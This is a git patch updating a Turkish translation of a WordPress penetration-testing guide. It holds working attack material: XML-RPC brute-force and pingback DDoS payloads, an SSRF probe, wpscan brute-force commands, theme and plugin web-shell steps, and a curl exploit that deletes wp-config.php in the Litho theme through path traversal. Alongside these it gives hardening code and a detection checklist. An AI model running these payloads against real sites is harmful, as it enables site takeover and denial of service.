From ab2f63cb2e9397a977d58f7e7d20af71e4a0bc53 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 5 Aug 2025 02:56:18 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/wordpress.md --- .../pentesting-web/wordpress.md | 154 +++++++++++++----- 1 file changed, 117 insertions(+), 37 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 915fc31e9..8d9a97f76 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## Temel Bilgiler - **Yüklenen** dosyalar şuraya gider: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu nedenle RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Temalar dosyaları /wp-content/themes/ içinde bulunabilir,** bu yüzden RCE elde etmek için temanın bazı php dosyalarını değiştirirseniz muhtemelen bu yolu kullanacaksınız. Örneğin: **twentytwelve teması** kullanarak **404.php** dosyasına şuradan **erişebilirsiniz**: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Başka bir yararlı url olabilir:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -22,15 +22,15 @@ - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` HTTP'nin taşıma mekanizması olarak ve XML'nin kodlama mekanizması olarak işlev gördüğü WordPress'in bir özelliğini temsil eden bir dosyadır. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. +- `xmlrpc.php` WordPress'in verilerin HTTP ile iletilmesini sağlayan bir özelliğini temsil eden bir dosyadır; burada HTTP taşıma mekanizması ve XML kodlama mekanizması olarak işlev görür. Bu tür bir iletişim, WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ile değiştirilmiştir. - `wp-content` klasörü, eklentilerin ve temaların saklandığı ana dizindir. - `wp-content/uploads/` Platforma yüklenen dosyaların saklandığı dizindir. - `wp-includes/` Sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların saklandığı dizindir. -- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri için, WordPress tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir sitemap XML dosyası oluşturur. +- `wp-sitemap.xml` WordPress sürümleri 5.5 ve üzeri, tüm kamuya açık gönderiler ve kamuya sorgulanabilir gönderi türleri ve taksonomiler ile bir harita XML dosyası oluşturur. **Sonrası istismar** -- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için gerekli bilgileri içerir; veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön eki. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. +- `wp-config.php` dosyası, WordPress'in veritabanına bağlanmak için ihtiyaç duyduğu veritabanı adı, veritabanı sunucusu, kullanıcı adı ve şifre, kimlik doğrulama anahtarları ve tuzlar ile veritabanı tablo ön ekini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir, bu da sorun gidermede yararlı olabilir. ### Kullanıcı İzinleri @@ -44,7 +44,7 @@ ### **WordPress sürümünü öğrenin** -`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınızı kontrol edin. +`/license.txt` veya `/readme.html` dosyalarını bulup bulamayacağınıza bakın. Sayfanın **kaynak kodu** içinde (örnek [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/) adresinden): @@ -66,7 +66,7 @@ curl https://victim.com/ | grep 'content="WordPress' ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Temaları Alın +### Temaları Al ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` @@ -79,11 +79,11 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Eklentiler ve Temalar -Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız ki bu listeleri içeren otomatik araçlar var). +Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için, **Eklentiler ve Temalar listesini Aktif Brute Force yapmanız** gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar var). ### Kullanıcılar -- **ID Brute:** Bir WordPress sitesinden kullanıcı ID'lerini Brute Force yaparak geçerli kullanıcılar elde edersiniz: +- **ID Brute:** Bir WordPress sitesinden geçerli kullanıcıları Brute Force ile kullanıcı ID'lerini alarak elde edersiniz: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -105,7 +105,7 @@ Ayrıca **/wp-json/wp/v2/pages** IP adreslerini sızdırabilir. ### XML-RPC -Eğer `xml-rpc.php` aktifse, kimlik bilgileri için brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). +Eğer `xml-rpc.php` aktifse, kimlik bilgileri için bir brute-force saldırısı gerçekleştirebilir veya bunu diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirmek için [bunu](https://github.com/relarizky/wpxploit) kullanabilirsiniz, örneğin). Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi deneyin ve bu isteği gönderin: @@ -120,7 +120,7 @@ Aktif olup olmadığını görmek için _**/xmlrpc.php**_ adresine erişmeyi den **Kimlik Bilgileri Kaba Kuvvet** -**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle elde etmek için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz: +**`wp.getUserBlogs`**, **`wp.getCategories`** veya **`metaWeblog.getUsersBlogs`** kimlik bilgilerini kaba kuvvetle kırmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulursanız, şöyle bir şey gönderebilirsiniz: ```html wp.getUsersBlogs @@ -166,18 +166,18 @@ Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol ``` -Ayrıca, aynı istekte birkaç kimlik bilgisi denemek için **`system.multicall`** kullanarak kimlik bilgilerini kırmanın **daha hızlı bir yolu** vardır: +Ayrıca, **`system.multicall`** kullanarak kimlik bilgilerini brute-force etmek için **daha hızlı bir yol** vardır, çünkü aynı istekte birkaç kimlik bilgisi deneyebilirsiniz:
**2FA'yı Atlatma** -Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) açıklamasında olduğu gibi RCE'ye ulaşmanız hala mümkün olabilir. +Bu yöntem programlar için tasarlanmıştır ve insanlar için değil, ayrıca eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, **bu kimlik bilgileriyle 2FA'yı atlayarak giriş yapmak için xmlrpc.php'yi kötüye kullanabilirsiniz**. Konsoldan yapabileceğiniz tüm eylemleri gerçekleştiremeyeceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi RCE'ye ulaşmayı hala başarabilirsiniz [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) **DDoS veya port taraması** -Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir ana bilgisayara/porta keyfi bir istek göndermesini sağlayabilirsiniz.\ -Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı dahili **ağları** **taramasını** sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz). +Eğer listede _**pingback.ping**_ yöntemini bulursanız, Wordpress'in herhangi bir host/port'a keyfi bir istek göndermesini sağlayabilirsiniz.\ +Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek için kullanılabilir (bu durumda o konumda bir **DDoS** meydana gelir) veya **Wordpress**'in bazı iç **ağları** **taramasını** sağlamak için kullanabilirsiniz (herhangi bir portu belirtebilirsiniz). ```html pingback.ping @@ -191,7 +191,7 @@ Bu, **binlerce** Wordpress **sitesinin** bir **konuma** **erişmesini** istemek Eğer **faultCode** değeri **0**'dan **büyük** (17) ise, bu portun açık olduğu anlamına gelir. -Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. +Bu yöntemi DDoS oluşturmak için nasıl kötüye kullanacağınızı öğrenmek için önceki bölümdeki **`system.multicall`** kullanımına bakın. **DDoS** ```html @@ -209,15 +209,15 @@ Bu yöntemi kötüye kullanarak DDoS oluşturmayı öğrenmek için önceki böl Bu dosya genellikle Wordpress sitesinin kökünde bulunur: **`/wp-cron.php`**\ Bu dosya **erişildiğinde** "ağır" bir MySQL **sorgusu** gerçekleştirilir, bu nedenle **saldırganlar** tarafından bir **DoS** **oluşturmak** için kullanılabilir.\ -Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara neden olabilir (DoS). +Ayrıca, varsayılan olarak, `wp-cron.php` her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfasını talep ettiğinde) çağrılır, bu da yüksek trafikli sitelerde sorunlara yol açabilir (DoS). Wp-Cron'un devre dışı bırakılması ve gerekli eylemleri düzenli aralıklarla gerçekleştiren gerçek bir cronjob'un host içinde oluşturulması önerilir (sorun yaratmadan). ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek yapabilir. +_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ adresine erişmeyi deneyin ve Wordpress sitesi size bir istek gönderebilir. -Bu çalışmadığında gelen yanıt: +Bu çalışmadığında alınan yanıt: ![](<../../images/image (365).png>) @@ -227,7 +227,7 @@ Bu çalışmadığında gelen yanıt: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve eğer mevcutsa, bunları istismar etmeye çalışır. +Bu araç, **methodName: pingback.ping** ve **/wp-json/oembed/1.0/proxy** yolunu kontrol eder ve varsa, bunları istismar etmeye çalışır. ## Automatic Tools ```bash @@ -235,9 +235,9 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Bir biti üzerine yazarak erişim elde et +## Bir biti üzerine yazarak erişim elde etme -Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP (`!`) işlemini devre dışı bırakacak şekilde değiştirebilirsiniz. +Gerçek bir saldırıdan çok bir merak. CTF'de [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) herhangi bir wordpress dosyasından 1 biti değiştirebilirsiniz. Böylece `/var/www/html/wp-includes/user.php` dosyasının `5389` konumunu NOP yapmak için değiştirebilirsiniz. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -252,7 +252,7 @@ Bir php shell için içeriği değiştirin: ![](<../../images/image (384).png>) -Bu güncellenmiş sayfaya nasıl erişeceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Bu güncellenmiş sayfaya nasıl erişebileceğinizi internette arayın. Bu durumda buraya erişmeniz gerekiyor: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -266,7 +266,7 @@ to get a session. ### PHP eklentisi -Eklenti olarak .php dosyalarını yüklemek mümkün olabilir.\ +Eklenti olarak .php dosyaları yüklemek mümkün olabilir.\ Örneğin, php arka kapınızı oluşturun: ![](<../../images/image (183).png>) @@ -279,7 +279,7 @@ Eklentiyi yükleyin ve Şimdi Yükle'ye basın: ![](<../../images/image (249).png>) -Devam'a tıklayın: +Devam et'e tıklayın: ![](<../../images/image (70).png>) @@ -295,23 +295,23 @@ Erişim sağlayın ve ters shell'i çalıştırmak için URL'yi göreceksiniz: Bu yöntem, bilinen bir zafiyete sahip kötü niyetli bir eklentinin yüklenmesini içerir ve bir web shell elde etmek için istismar edilebilir. Bu süreç, WordPress kontrol paneli aracılığıyla aşağıdaki gibi gerçekleştirilir: -1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan temin edilir [**buradan**](https://www.exploit-db.com/exploits/36374). +1. **Eklenti Edinme**: Eklenti, Exploit DB gibi bir kaynaktan edinilir [**buradan**](https://www.exploit-db.com/exploits/36374). 2. **Eklenti Yükleme**: - WordPress kontrol paneline gidin, ardından `Kontrol Paneli > Eklentiler > Eklenti Yükle` seçeneğine gidin. - İndirilen eklentinin zip dosyasını yükleyin. 3. **Eklenti Etkinleştirme**: Eklenti başarıyla yüklendikten sonra, kontrol paneli aracılığıyla etkinleştirilmelidir. 4. **İstismar**: - "reflex-gallery" eklentisi yüklü ve etkinleştirildiğinde, bilinen bir zafiyet olduğu için istismar edilebilir. -- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. +- Metasploit çerçevesi, bu zafiyet için bir istismar sağlar. Uygun modülü yükleyerek ve belirli komutları çalıştırarak, bir meterpreter oturumu oluşturulabilir ve siteye yetkisiz erişim sağlanabilir. - Bunun, bir WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğu belirtilmektedir. -İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal izin olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır. +İçerik, eklentiyi yükleme ve etkinleştirme adımlarını gösteren görsel yardımlar içermektedir. Ancak, bu şekilde zafiyetleri istismar etmenin yasal yetki olmadan yasadışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgi, yalnızca yasal bir bağlamda, açık izinle penetrasyon testi gibi sorumlu bir şekilde kullanılmalıdır. **Daha ayrıntılı adımlar için kontrol edin:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) ## XSS'den RCE'ye -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **WordPress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_, **Cross-Site Scripting (XSS)** zafiyetini **Remote Code Execution (RCE)** veya WordPress'teki diğer kritik zafiyetlere yükseltmek için tasarlanmış bir betiktir. Daha fazla bilgi için [**bu gönderiye**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) bakın. **Wordpress Sürümleri 6.X.X, 5.X.X ve 4.X.X için destek sağlar ve şunları yapmanıza olanak tanır:** - _**Yetki Yükseltme:**_ WordPress'te bir kullanıcı oluşturur. - _**(RCE) Özel Eklenti (arka kapı) Yükleme:**_ Özel eklentinizi (arka kapı) WordPress'e yükleyin. - _**(RCE) Yerleşik Eklenti Düzenleme:**_ WordPress'teki Yerleşik Eklentileri düzenleyin. @@ -336,21 +336,21 @@ Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bi - **`wp_ajax`** -Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). +Bir eklentinin işlevleri kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bu işleyiciler, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir kullanıcı tarafından Wordpress örneğinde sahip olunabilecek** bir wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` kullanımı, uç noktayı herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir hale getirir.** +**`nopriv` kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.** > [!CAUTION] -> Dahası, eğer fonksiyon sadece `wp_verify_nonce` fonksiyonu ile kullanıcının yetkilendirmesini kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir. +> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir. - **REST API** -WordPress'ten fonksiyonları, `register_rest_route` fonksiyonunu kullanarak bir rest AP kaydederek açığa çıkarmak da mümkündür: +WordPress'ten fonksiyonları bir rest API kaydederek açığa çıkarmak da mümkündür; `register_rest_route` fonksiyonunu kullanarak: ```php register_rest_route( $this->namespace, '/get/', array( @@ -362,17 +362,93 @@ $this->namespace, '/get/', array( ``` `permission_callback`, belirli bir kullanıcının API yöntemini çağırma yetkisine sahip olup olmadığını kontrol eden bir işlevin geri çağrısıdır. -**Eğer yerleşik `__return_true` işlevi kullanılıyorsa, kullanıcı izinleri kontrolü basitçe atlanacaktır.** +**Eğer yerleşik `__return_true` işlevi kullanılırsa, kullanıcı izinleri kontrolü atlanacaktır.** - **PHP dosyasına doğrudan erişim** -Elbette, WordPress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. +Elbette, Wordpress PHP kullanır ve eklentiler içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu nedenle, bir eklenti, dosyaya erişim sağlanarak tetiklenen herhangi bir savunmasız işlevsellik sunuyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir. + +### wp_ajax_nopriv aracılığıyla Kimlik Doğrulaması Olmadan Rastgele Dosya Silme (Litho Tema <= 3.0) + +WordPress temaları ve eklentileri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` kancaları aracılığıyla AJAX işleyicileri sunar. **_nopriv_** varyantı kullanıldığında **geri çağrı kimlik doğrulaması yapılmamış ziyaretçiler tarafından erişilebilir hale gelir**, bu nedenle herhangi bir hassas eylem ayrıca şunları uygulamalıdır: + +1. Bir **yetki kontrolü** (örneğin, `current_user_can()` veya en azından `is_user_logged_in()`), ve +2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve +3. **Sıkı girdi temizleme / doğrulama**. + +Litho çok amaçlı teması (< 3.1) *Font Ailesini Kaldır* özelliğinde bu 3 kontrolü unuttu ve aşağıdaki kodu (basitleştirilmiş) gönderdi: +```php +function litho_remove_font_family_action_data() { +if ( empty( $_POST['fontfamily'] ) ) { +return; +} +$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] ); +$upload_dir = wp_upload_dir(); +$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily; +$filesystem = Litho_filesystem::init_filesystem(); + +if ( file_exists( $srcdir ) ) { +$filesystem->delete( $srcdir, FS_CHMOD_DIR ); +} +die(); +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); +``` +Bu kod parçasının neden olduğu sorunlar: + +* **Kimlik doğrulaması yapılmamış erişim** – `wp_ajax_nopriv_` kancası kaydedilmiştir. +* **Nonce / yetki kontrolü yok** – herhangi bir ziyaretçi uç noktayı kullanabilir. +* **Yol sanitizasyonu yok** – kullanıcı tarafından kontrol edilen `fontfamily` dizesi, filtreleme olmaksızın bir dosya sistemi yoluna eklenir ve klasik `../../` geçişine izin verir. + +#### Sömürü + +Bir saldırgan, tek bir HTTP POST isteği göndererek **yüklemeler ana dizininin altındaki** herhangi bir dosyayı veya dizini silebilir (normalde `/wp-content/uploads/`): +```bash +curl -X POST https://victim.com/wp-admin/admin-ajax.php \ +-d 'action=litho_remove_font_family_action_data' \ +-d 'fontfamily=../../../../wp-config.php' +``` +Çünkü `wp-config.php` *uploads* dışında yer alır, varsayılan bir kurulumda dört `../` dizini yeterlidir. `wp-config.php` dosyasını silmek, WordPress'i bir sonraki ziyarette *kurulum sihirbazı* moduna zorlar ve tam site ele geçirme imkanı tanır (saldırgan yalnızca yeni bir DB yapılandırması sağlar ve bir admin kullanıcısı oluşturur). + +Diğer etkili hedefler arasında güvenlik eklentilerini kırmak için eklenti/tema `.php` dosyaları veya `.htaccess` kuralları bulunmaktadır. + +#### Tespit kontrol listesi + +* Dosya sistemi yardımcılarını çağıran herhangi bir `add_action( 'wp_ajax_nopriv_...')` geri çağrısı (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.). +* Yollar içine temizlenmemiş kullanıcı girdisinin birleştirilmesi ( `$_POST`, `$_GET`, `$_REQUEST`'i kontrol edin). +* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()`'ın yokluğu. + +#### Güçlendirme +```php +function secure_remove_font_family() { +if ( ! is_user_logged_in() ) { +wp_send_json_error( 'forbidden', 403 ); +} +check_ajax_referer( 'litho_fonts_nonce' ); + +$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) ); +$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily; + +if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) { +wp_send_json_error( 'invalid path', 400 ); +} +// … proceed … +} +add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' ); +// 🔒 NO wp_ajax_nopriv_ registration +``` +> [!TIP] +> **Her zaman** diskteki herhangi bir yazma/silme işlemini ayrıcalıklı olarak değerlendirin ve iki kez kontrol edin: +> • Kimlik Doğrulama • Yetkilendirme • Nonce • Girdi temizleme • Yol sınırlama (örneğin `realpath()` artı `str_starts_with()` ile). + +--- ## WordPress Koruması ### Düzenli Güncellemeler -WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca, wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın: +WordPress, eklentiler ve temaların güncel olduğundan emin olun. Ayrıca wp-config.php dosyasında otomatik güncellemenin etkin olduğunu doğrulayın: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -390,8 +466,12 @@ Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**. - Varsayılan **admin** kullanıcısını kaldırın - **Güçlü şifreler** ve **2FA** kullanın -- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** +- Kullanıcı **izinlerini** periyodik olarak **gözden geçirin** - Brute Force saldırılarını önlemek için **giriş denemelerini** sınırlayın -- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin. +- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili olarak veya belirli IP adreslerinden erişime izin verin. + +## Referanslar + +- [Litho Temasında Kimlik Doğrulaması Yapılmamış Rastgele Dosya Silme Açığı](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) {{#include ../../banners/hacktricks-training.md}}